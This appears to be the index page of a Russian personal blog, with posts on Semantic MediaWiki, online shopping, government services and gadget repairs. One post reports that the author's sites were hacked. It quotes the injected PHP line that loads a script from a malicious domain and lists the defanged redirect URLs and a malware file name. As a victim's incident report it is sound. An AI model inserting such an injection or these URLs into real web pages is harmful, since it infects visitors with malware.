Информационная система на базе Semantic MediaWiki

Начало

В начале года вызвался я решить непрофильную задачу — создать для нашей организации информационную систему. Сейчас решение более-менее обрело очертания, попробую поделиться опытом.

Наши сотрудники ежегодно отчитываются о своих достижениях. По этой информации вычисляются количественые показатели. Также интересны всякие сводные таблицы. В общем, реально полезной информации там достаточно, имеет смысл сделать так, чтобы её было удобно добывать.

Раньше всё было оформлено как Excel таблица определённой структуры. Каждый сотрудник заполнял свой лист, показатели считались по заданным формулам. На этом, в общем-то, информация заканчивала свой путь — если она использовалась где-то ещё, её приходилось добывать заново.

Как это всегда бывает, я пришел совсем не с этой идеей — хотелось, грубо говоря, сделать свой ВКонтактик для улучшения информированности друг о друге. Идея в умах начальства трансформировалась и выстрелила в меня этим проектом — мол, здорово, обязательно сделаем, но у нас годовые отчёты на носу, можно ли эту информацию в такую систему забить? Делаю вид «лихой и придурковатый«, отвечаю утвердительно и иду изучать материальную часть.

Задача

Итак, требуется очень-очень быстро сделать сайт, где каждый пользователь может легко и просто разместить информацию определенной структуры. И чтобы эту информацию можно было бы легко обрабатывать — показатели всякие считать, списки-таблички строить. Поиск, само собой, нужен, да не просто текстовый, а с учётом структуры этой самой информации.
Читать полностью »

23.04.2013  Метки: , , ,   Рубрики: Разработка  3 комментария

Гарантийная замена карты памяти SanDisk с американского Amazon

Большинство видов карт памяти в зарубежных интернет-магазинах покупать не выгодно — в Москве они стоят практически столько же. К тому же нет риска нарваться на китайскую подделку, когда карта заявляет ёмкость существенно больше, чем фактическую. Всё прекрасно записывается, только вот потом не читается.
Но бывают и приятные исключения — Amazon периодически проводит распродажи карт памяти и накопителей SanDisk. SSD я покупать не рискнул, предпочтя Crucial m4 256GB за $160, а вот против $25 за 32GB microSDHC и $55 за такую же 64GB не устоял. В прошлом году это было заметно ниже обычных цен.
Читать полностью »

21.02.2013   Рубрики: Аппаратура, Интернет, Покупки  Комментариев нет

Вирусы на сайтах хостинг-центра

ПО ССЫЛКАМ НЕ ХОДИТЬ, УБЬЁТ!

Все мои сайты, хостящиеся у Хостинг-центра взломаны однотипным способом:
26.12.12 15:49 в файл index.php корневого каталога добавлена строка
echo '<script src="хттп:\\kinoshkaxa.changeip.name\rsize.js"></script>';
Используется wordpress разных версий и drupal. Не думаю, что взлом можно объяснить уязвимостью этих CMS. Также сомневаюсь, что к такому могла привести утечка паролей — вряд ли все файлы были модифицированы в одну и ту же секунду. Так что скорее всего взломан сервер и злоумышленник получил root-доступ. В прошлый раз в аналогичной ситуации хостинг-центр перевел стрелки на меня — мол, не уберег пароли. Не верю. Написал им, посмотрю, что ответят.

Кстати, неделю назад сам чуть не подхватил вирус с зараженного таким образом сайта. И ладно бы порнуху пошёл смотреть — искал кое-что по 1С. Хотя коллеги говорят, что это и есть порнуха. Сайт тот до сих пор заражен — 1czone.ru, хотя я им отписал в тот же день. А ещё отписал про этот сайт гуглу и яндексу — никто его как зараженный не помечает до сих пор.

Так что спасение утопающих — дело рук самих утопающих. Пришлось латать дыры в браузере. Расширение NoScript меня не устраивает, уж очень много рубит. В результате нашёл замечательное расширение для Firefox — RequestPolicy, которое позволяет контролировать межсайтовые запросы. Настоятельно рекомендую.

С наступающим Новым годом!

P.S. Скрипт перенаправляет дальше:
хттп:\\gmokcne.gr8name.biz\advjump\2
хттп:\\jqgmjci.ddns.me.uk:5816\milk\largest_wondering_buys.php
Результаты анализа VirusTotal: largest_wondering_buys.php (сейчас уже 12/46, а было 4/46).
Пытался установить мне wgsdgsdgdsgsd.exe (сейчас уже 27/45, было 11)
Сами файлы могу выслать желающим поковыряться.

P.S. Заменил http:// на хттп:\\, а то яндекс считает, что на сайте вредоносный код.

30.12.2012   Рубрики: Интернет  17 комментариев

Улучшатель сайта посредника Polar Express

У посредника Polar Express не очень удобный личный кабинет.
Шансов на скорое улучшение мало, поэтому я накатал greasemonkey скрипт: polexp.com for Greasemonkey.
Он добавляет колонку «Стоимость» в разделы «Мои покупки» и «На складе».
Теперь в таблице можно видеть задекларированную стоимость посылок и общую сумму.
Для посылок на складе — общую сумму всех отмеченных посылок.
Буду рад, если кому-то окажется полезным. Будут ещё идеи — делитесь, попробую реализовать.

100 скачиваний за 4 дня — мелочь, а приятно.

29.11.2012  Метки: , ,   Рубрики: Mozilla, Интернет, Покупки  Комментариев нет

Чудеса миниатюризации

Полечил Samsung Galaxy S2. Симптомы — глючит micro USB порт. Проблема, как оказалось, известная. Пришлось разбирать и полоскать в спирте. Действительно, куча грязи вымылась. Если не поможет, придётся покупать новую плату. Хорошо, что она отдельная от основной, потому не очень дорогая. Хотя всё относительно — mobishare.de продаёт её за 54.99 евро. А китайцы на aliexpress — за $33.22. Но есть ещё нюанс — это цена за пять штук 🙂

Вот она, цена миниатюризации. С полноразмерными USB разъемами таких проблем не было. Страшно подумать, что будет, когда появится nano USB 🙂

Для тех, кто переживает — спирт не вылил 🙂

27.08.2012  Метки: ,   Рубрики: Аппаратура, Покупки  Комментариев нет

PayPal sucks

Я довольно часто совершаю покупки на eBay. И, конечно, оплачиваю покупки с помощью PayPal. К моему PayPal акаунту привязаны две карты — VISA, которой я пользовался раньше, и MasterCard, которой пользуюсь сейчас. Карта MasterCard установлена как основная, однако при каждой оплате PayPal по умолчанию выбирает VISA. Приходится каждый раз переходить на страницу выбора источника финансирования и переключаться на MasterCard. Раздражает, но жить можно. Это цветочки, теперь о ягодках.
Читать полностью »

22.09.2011  Метки: ,   Рубрики: Интернет, Покупки  5 комментариев

Загранпаспорт через gosuslugi.ru — работает, но через ж..у

Очередной загранпаспорт (старого образца) я решил получать через портал gosuslugi.ru в надежде минимизировать походы в УФМС и стояние в очередях. Отзывы первопроходцев с хабра внушали робкий оптимизм. Последней каплей стало то, что жена оформила загранпаспорт на ребенка буквально за 10 дней и один получасовой визит в УФМС.

Регистрацию на сайте госуслуг я сделал заблаговременно — это не быстро, надо дождаться получения бумажного письма в почтовый ящик. Вот и пригодилось. Открыл на всякий случай статью Gosuslugi.ru: получение загранпаспорта. Monkey business solution и занялся прохождением квеста. Проглядев статью перешел по ссылке на новую версию сайта и начал заполнять анкету.

Чудесам начались в самом начале — если на первом шаге в качестве места проживания указать Московскую область, город Балашиха, то на втором шаге в качестве возможных УФМС для визита будет указано только УФМС России по Московской области аж в городе Котельники! А вот если указать Московскую область, Балашихинский район, город Балашиха, тогда становятся доступны Балашихинские УФМС.

Больше проблем при заполнении анкеты не возникло. Фото я сделал заранее и попросил записать на флешку электронный вариант, который и прикрепил к анкете.

А через три дня пришел отказ, мотивированный тем, что я не указал дату регистрации по месту жительства и не указал свой контактный телефон для ускоренного решения проблем. Отказ этот меня очень удивил — чай не первый день в Интернетах, формочки всякие заполнять умею. Решил проверить — открываю сайт gosuslugi.ru и вижу совсем другой интерфейс! Долго пытался понять, в чём дело, наконец вспомнил, что переходил на сайт по ссылке из статьи, а не набирал адрес напрямую. Снова перешел по ссылке, начал заполнять анкету и обнаружил, что в новом интерфейсе просто нет поля для даты регистрации по месту жительства! И контактный телефон тоже некуда вписывать! То есть, все, кто заполнял анкету в этой версии сайта, обречены на неудачу. Причем, сайт публичный, информация с него действительно попадает в УФМС. Хочется спросить — а его вообще тестировали?

Пришлось повторить заполнение анкеты в старой версии сайта. На этот раз всё прошло гладко, через месяц получил приглашение явиться в УФМС. Еле успел оплатить госпошлину и примчался за полчаса до указанного времени окончания приема. Оказалось, что часы работы указаны неверно и времени ещё достаточно. Одна из сотрудниц сообщила мне, что отдельной очереди для интернетчиков нет, сотрудников не хватает, кто пойдет работать на 8.5 тысяч рублей. После часового ожидания в очереди оказалось, что интернетчикам всё же надо в другой кабинет. Никаких бумажек об этом нигде не висело. Вы ещё сомневаетесь, что там всё через ж..у? При желании вписать детей в паспорт нужны их фотографии, о чём нигде никаких предупреждений нет. В результате детей я в свой паспорт вписывать не стал, хотя в анкете их указывал. Фотография нужна только одна, хотя в электронном уведомлении просят аж четыре!

В итоге все косяки были преодолены, часа через два я ушел с готовым паспортом. Это, конечно, значительно удобнее, чем занимать очередь с ночи и целый день толкаться. Но процесс ещё улучшать и улучшать, а заинтересованных в этом нет. Про мотивацию сотрудников можно говорить сколько угодно, но за такую зарплату могут работать только пенсионеры, у которых есть ещё источник дохода и мало других вариантов трудоустройства.

Сейчас ради интереса посмотрел на новый интерфейс — поле для указания даты регистрации по месту жительства добавили! Дальше смотреть не стал, надеюсь, контактный телефон тоже есть куда вписать. Новый интерфейс удобнее — там не надо явно сохранять анкету, если не получилось заполнить за один раз, всё сохраняется автоматически. Впрочем, одну засаду я помню — место рождения не сохранялось, но сейчас, кажется, это тоже исправлено. Не теряйте бдительность, возможны и другие сюрпризы!

07.08.2011   Рубрики: Интернет  Один комментарий

Caveat emptor в исполнении pleer.ru

caveat emptor — да будет бдительным покупатель (лат.)

Пару дней назад в очередной раз посетил pleer.ru с намерением купить недавно вышедший коммуникатор на Android. Основным аргументом была, как всегда, цена — на 20% ниже рекомендованной на старте продаж, примерно на 10% лучше, чем в других местах. Предварительно почитал на сайте, как pleer.ru любит покупателей, как избавляет их от всех проблем. Однако давным-давно цена в магазине была такой же, как на сайте, при условии предварительного резервирования. Теперь чуть больше. Зато торговый зал стал побольше, очередей практически нет (будний день, пять часов). Поэтому я надеялся уйти с покупкой достаточно быстро. К слову, во Flash это время давно не было больше 5-10 минут, если товар не требует проверки.

Сделав круг по залу, я нашел свободного менеджера «в красной футболке» и озвучил ему номер своего резерва. Минут через десять принесли коробку с аппаратом. Менеджер начал разрезать наклейку на коробке, причём мне толком не видно было, запечатана коробка или вскрывалась раньше. Распечатав коробку он вынул телефон, снял плёнки, включил телефон и начал с ним что-то делать. Получив наконец телефон в руки я слегка удивился большому количеству отпечатков пальцев. Полазив по меню увидел, что время работы телефона — 23 минуты. На прямой вопрос, как это оъяснить, менеджер ответа не дал. Далее выяснилось, что сайт магазина уже открыт в браузере, чего на только что вскрытом телефоне быть не может никак.

Никаких претензий к работоспособности и внешнему виду этого экземпляра у меня не было, но, согласитесь, неприятно, когда кем-то уже распечатанный и по непонятной причине не купленный телефон пытаются выдать за только что вскрытый. Цитата с сайта, очень в тему:

Уважаемые покупатели! Вы должны осознать, что мы не можем давать наши товары для выбора на дом. Согласно закону РФ, технически сложный товар обмену и возврату не подлежит. Если бы мы принимали его обратно, что, по-вашему, мы должны были бы делать с Вашим поюзанным товаром? Купить его себе всем сотрудникам? Или перепродать его под видом нового другим покупателям? Извините, мы так не поступаем, именно поэтому мы лучшие и наша компания насчитывает огромное количество постоянных и благодарных клиентов.

Менеджер предложил перезаказать телефон со склада, я согласился и ещё через десять минут собственноручно вскрыл коробку, достал батарею из запечатанного пакета (сейчас мне кажется, что в первом телефоне батарея уже была вставлена), содрал наклейки, включил телефон и убедился, что время работы — полторы минуты. На этот раз никаких претензий не возникло и в нашей семье появился первый андроид 🙂

Кстати, я ещё и накладную просил переделать — в серийном номере телефона оказалась пропущена одна цифра. А на сайте написано, что Поле «серийный номер» просто категорически важно к заполнению продавцом как в накладной, так и в самом гарантийном талоне!.

Этот эпизод укрепил моё мнение о pleer.ru — человек разбирающийся может немного сэкономить при покупке в этом магазине. Стоит немного ослабить бдительность — можно огрести приключений.

10.06.2011   Рубрики: Покупки  9 комментариев

Как Groupon мне скидку на eBay давал

Месяца три назад купил я на groupon.com за $7 ваучер на eBay номиналом $15 — «а чё, 8 баксов-то не лишние». Потом долго забывал его отоварить, а когда вспомнил, выяснилось, что PayPal у меня его не принимает, потому что акаунт зарегистрирован не в U.S. Пишу в Groupon, какого лешего ущемляете, в описании ничего про это ограничение не говорилось. Тут же приходит ответ — да, виноваты, извиняйте, вот вам полный возврат денег. Но от меня так просто не отделаешься, снова пишу — а меня нельзя было спросить, перед возвратом, я бы американским друзьям подарок сделал! Приходит второй ответ — извините, погорячились. Вот вам C$15 на счет в Groupon. Не спрашивайте меня, почему доллары канадские, я уже ничему не удивляюсь. Я лучше сам спрошу — что мне теперь с этой валютой групонской делать? 🙂

27.05.2011  Метки: ,   Рубрики: Интернет, Покупки  4 комментария

И ещё про ноутбуки и о внимании к мелочам

Недавно попал ко мне ноутбук (конечно же IBM/Lenovo T60) со странным симптомом: после замены системы охлаждения запахло горелым при подключении блока питания. Странно это, потому что включить его ещё не успели, то есть никакого напряжения на вентилятор не подавалось и гореть он не мог.

Пришлось всё обнюхать и осторожно подключить другой вентилятор. Всё заработало, никакой гари. Пошевелил разъем питания — ноутбук выключился, запахло горелым. Ага, удалось воспроизвести проблему, уже хорошо. Начал смотреть внимательнее. Надо сказать, что разъем питания у этих ноутбуков находится не на системной плате, а защелкнут в корпус отдельно и соединен с платой проводками. Это чтобы не повредить плату при неаккуратном обращении с разъемом.

Так вот под этими самыми проводками находится болтик, притягивающий пластиковое дно к металлической раме ноутбука. Ага, рамная конструкция, как у внедорожников. Не то что у некоторых. Надо будет рассказать как-нибудь. Так вот, вместо короткого болтика был вкручен длинный, который цинично прорезал изоляцию провода и закоротил его на корпус. Кусочек изоленты и правильный болтик решили проблему.

А я в своё время пару раз подплавил ноутбук, когда включал его с вытащенной из крышки матрицей. При этом платка инвертора висит в воздухе и иногда касается металлической гаечки, которая запрессована в крышку матрицы. Крышка немедленно начинает плавиться. Инвертор, к счастью, спалить не удалось. Теперь сразу заклеиваю эту гаечку изолентой.

16.05.2011  Метки: , ,   Рубрики: Аппаратура  Один комментарий